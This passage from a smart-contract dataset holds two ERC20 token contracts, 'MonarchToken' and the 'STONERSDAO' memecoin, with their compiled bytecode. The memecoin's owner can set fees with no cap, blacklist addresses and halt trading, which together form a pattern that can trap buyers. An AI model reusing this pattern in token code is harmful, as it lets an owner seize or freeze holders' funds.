_msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } /** * @dev Extension of `ERC20` that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is ERC20 { /** * @dev Destroys `amount` tokens from msg.sender's balance. */ function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } /** * @title ApproveAndCall Interface. * @dev ApproveAndCall system allows to communicate with smart-contracts. */ contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external; } /** * @title The main project contract. */ contract MonarchToken is ERC20Burnable, ERC20Detailed, Ownable { using SafeERC20 for IERC20; using SafeMath for uint256; // registered contracts (to prevent loss of token via transfer function) mapping (address => bool) private _contracts; constructor(address initialOwner, address recipient) public ERC20Detailed("Token Monarch", "TMON", 6) Ownable(initialOwner) { _mint(recipient, 35000e6); } /** * @dev modified transfer function that allows to safely send tokens to smart-contract. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { if (_contracts[to]) { approveAndCall(to, value, new bytes(0)); } else { super.transfer(to, value); } return true; } /** * @dev Allows to send tokens (via Approve and TransferFrom) to other smart-contract. * @param spender Address of smart contracts to work with. * @param amount Amount of tokens to send. * @param extraData Any extra data. */ function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) { require(approve(spender, amount)); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData); return true; } /** * @dev Allows to register other smart-contracts (to prevent loss of tokens via transfer function). * @param account Address of smart contracts to work with. */ function registerContract(address account) external onlyOwner { require(_isContract(account), "Token: account is not a smart-contract"); _contracts[account] = true; } /** * @dev Allows to unregister registered smart-contracts. * @param account Address of smart contracts to work with. */ function unregisterContract(address account) external onlyOwner { require(isRegistered(account), "Token: account is not registered yet"); _contracts[account] = false; } /** * @dev Allows to any owner of the contract withdraw needed ERC20 token from this contract (for example promo or bounties). * @param ERC20Token Address of ERC20 token. * @param recipient Account to receive tokens. */ function withdrawERC20(address ERC20Token, address recipient) external onlyOwner { uint256 amount = IERC20(ERC20Token).balanceOf(address(this)); IERC20(ERC20Token).safeTransfer(recipient, amount); } /** * @return true if the address is registered as contract * @param account Address to be checked. */ function isRegistered(address account) public view returns (bool) { return _contracts[account]; } /** * @return true if `account` is a contract. * @param account Address to be checked. */ function _isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c3c5a54711610071578063c3c5a547146103d1578063cae9ca51146103f7578063dd62ed3e146104b2578063f2fde38b146104e0578063fac2c621146105065761012c565b80638da5cb5b1461031f5780639456fbcc1461034357806395d89b4114610371578063a457c2d714610379578063a9059cbb146103a55761012c565b8063313ce567116100f4578063313ce56714610266578063395093511461028457806342966c68146102b057806370a08231146102cd57806379cc6790146102f35761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806322a5dde41461020857806323b872dd14610230575b600080fd5b61013961052c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b0381351690602001356105c2565b604080519115158252519081900360200190f35b6101f66105df565b60408051918252519081900360200190f35b61022e6004803603602081101561021e57600080fd5b50356001600160a01b03166105e5565b005b6101da6004803603606081101561024657600080fd5b506001600160a01b03813581169160208101359091169060400135610695565b61026e610722565b6040805160ff9092168252519081900360200190f35b6101da6004803603604081101561029a57600080fd5b506001600160a01b03813516906020013561072b565b61022e600480360360208110156102c657600080fd5b503561077f565b6101f6600480360360208110156102e357600080fd5b50356001600160a01b031661078c565b61022e6004803603604081101561030957600080fd5b506001600160a01b0381351690602001356107a7565b6103276107b5565b604080516001600160a01b039092168252519081900360200190f35b61022e6004803603604081101561035957600080fd5b506001600160a01b03813581169160200135166107c9565b6101396108a8565b6101da6004803603604081101561038f57600080fd5b506001600160a01b038135169060200135610909565b6101da600480360360408110156103bb57600080fd5b506001600160a01b038135169060200135610977565b6101da600480360360208110156103e757600080fd5b50356001600160a01b03166109ce565b6101da6004803603606081101561040d57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561043d57600080fd5b82018360208201111561044f57600080fd5b8035906020019184600183028401116401000000008311171561047157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ec945050505050565b6101f6600480360360408110156104c857600080fd5b506001600160a01b0381358116916020013516610aec565b61022e600480360360208110156104f657600080fd5b50356001600160a01b0316610b17565b61022e6004803603602081101561051c57600080fd5b50356001600160a01b0316610c0b565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105b85780601f1061058d576101008083540402835291602001916105b8565b820191906000526020600020905b81548152906001019060200180831161059b57829003601f168201915b5050505050905090565b60006105d66105cf610cb8565b8484610cbc565b50600192915050565b60025490565b6105ee33610da8565b61062d576040805162461bcd60e51b815260206004820181905260248201526000805160206114f7833981519152604482015290519081900360640190fd5b61063681610dc1565b6106715760405162461bcd60e51b81526004018080602001828103825260268152602001806114a96026913960400191505060405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006106a2848484610dc7565b610718846106ae610cb8565b610713856040518060600160405280602881526020016114cf602891396001600160a01b038a166000908152600160205260408120906106ec610cb8565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610f2316565b610cbc565b5060019392505050565b60055460ff1690565b60006105d6610738610cb8565b846107138560016000610749610cb8565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610fba16565b610789338261101b565b50565b6001600160a01b031660009081526020819052604090205490565b6107b18282611117565b5050565b60055461010090046001600160a01b031690565b6107d233610da8565b610811576040805162461bcd60e51b815260206004820181905260248201526000805160206114f7833981519152604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561085b57600080fd5b505afa15801561086f573d6000803e3d6000fd5b505050506040513d602081101561088557600080fd5b505190506108a36001600160a01b038416838363ffffffff61115c16565b505050565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105b85780601f1061058d576101008083540402835291602001916105b8565b60006105d6610916610cb8565b84610713856040518060600160405280602581526020016115cf6025913960016000610940610cb8565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610f2316565b6001600160a01b03821660009081526006602052604081205460ff16156109ba576040805160008152602081019091526109b490849084906109ec565b506105d6565b6109c483836111ae565b5050600192915050565b6001600160a01b031660009081526006602052604090205460ff1690565b60006109f884846105c2565b610a0157600080fd5b604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610a7b578181015183820152602001610a63565b50505050905090810190601f168015610aa85780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610aca57600080fd5b505af1158015610ade573d6000803e3d6000fd5b506001979650505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610b2033610da8565b610b5f576040805162461bcd60e51b815260206004820181905260248201526000805160206114f7833981519152604482015290519081900360640190fd5b6001600160a01b038116610ba45760405162461bcd60e51b815260040180806020018281038252602681526020018061143b6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b610c1433610da8565b610c53576040805162461bcd60e51b815260206004820181905260248201526000805160206114f7833981519152604482015290519081900360640190fd5b610c5c816109ce565b610c975760405162461bcd60e51b81526004018080602001828103825260248152602001806115ab6024913960400191505060405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b3390565b6001600160a01b038316610d015760405162461bcd60e51b815260040180806020018281038252602481526020018061155d6024913960400191505060405180910390fd5b6001600160a01b038216610d465760405162461bcd60e51b81526004018080602001828103825260228152602001806114616022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60055461010090046001600160a01b0390811691161490565b3b151590565b6001600160a01b038316610e0c5760405162461bcd60e51b81526004018080602001828103825260258152602001806115386025913960400191505060405180910390fd5b6001600160a01b038216610e515760405162461bcd60e51b81526004018080602001828103825260238152602001806113f66023913960400191505060405180910390fd5b610e9481604051806060016040528060268152602001611483602691396001600160a01b038616600090815260208190526040902054919063ffffffff610f2316565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610ec9908263ffffffff610fba16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610fb25760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f77578181015183820152602001610f5f565b50505050905090810190601f168015610fa45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611014576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0382166110605760405162461bcd60e51b81526004018080602001828103825260218152602001806115176021913960400191505060405180910390fd5b6110a381604051806060016040528060228152602001611419602291396001600160a01b038516600090815260208190526040902054919063ffffffff610f2316565b6001600160a01b0383166000908152602081905260409020556002546110cf908263ffffffff6111c216565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b611121828261101b565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546107b1918491610713908563ffffffff6111c216565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526108a3908490611204565b60006105d66111bb610cb8565b8484610dc7565b600061101483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f23565b61120d826113b9565b61125e576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061129c5780518252601f19909201916020918201910161127d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146112fe576040519150601f19603f3d011682016040523d82523d6000602084013e611303565b606091505b50915091508161135a576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156113b35780806020019051602081101561137657600080fd5b50516113b35760405162461bcd60e51b815260040180806020018281038252602a815260200180611581602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906113ed5750808214155b94935050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365546f6b656e3a206163636f756e74206973206e6f74206120736d6172742d636f6e747261637445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e3a206163636f756e74206973206e6f7420726567697374657265642079657445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820ece5d4efb5fde9cb20d370ec4b510ebe56249d53c77ab86d5b40c0976b87343564736f6c634300050c0032
{"success": true, "error": null, "results": {}}
2,570
0x893377aa21f346d559fd045f7cb420a11687dca2
/** HAPPY 420!!! PUFF PUFF PASS MOTHER FUCKERS!!! SMOKE SOME GANJA AND LETS GET WAY UP HIGH!!! INHALE THAT GOOD SHIT EXHALE THAT BULLSHIT!!! MAX BUY/SELL: 2% - 20,000,000 $STONER MAX WALLET : 4% - 40,000,000 $STONER BUY/SELL TAX: 9% TAXES WILL BE USED TO FURTHER DEVELOP THIS PROJECT. TWITTER : https://twitter.com/StonersDao TELEGRAM: https://t.me/stonersdaoPortal WEBSITE : https://STONERSDAO.COM */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract STONERSDAO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "STONERS DAO"; string private constant _symbol = "$STONER"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x9EAE7D9A44F3AfE20510BD6557B3B90C2bF64D41); address payable private _marketingAddress = payable(0x9EAE7D9A44F3AfE20510BD6557B3B90C2bF64D41); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//UNISWAP uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b457600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611954565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600b81526a53544f4e4552532044414f60a81b60208201525b60405161023b9190611a19565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a6e565b61069e565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611a9a565b6106b5565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611adb565b61071e565b34801561036f57600080fd5b506101fc61037e366004611b08565b610769565b34801561038f57600080fd5b506101fc6107b1565b3480156103a457600080fd5b506102c36103b3366004611adb565b6107fc565b3480156103c457600080fd5b506101fc61081e565b3480156103d957600080fd5b506101fc6103e8366004611b23565b610892565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611adb565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b08565b6108c1565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b506040805180820190915260078152661229aa27a722a960c91b602082015261022e565b3480156104c057600080fd5b506101fc6104cf366004611b23565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b3c565b610938565b34801561050057600080fd5b5061026461050f366004611a6e565b610976565b34801561052057600080fd5b5061026461052f366004611adb565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b6e565b6109d7565b34801561058557600080fd5b506102c3610594366004611bf2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b23565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611adb565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c2b565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c60565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c8c565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611da6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c2b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c2b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160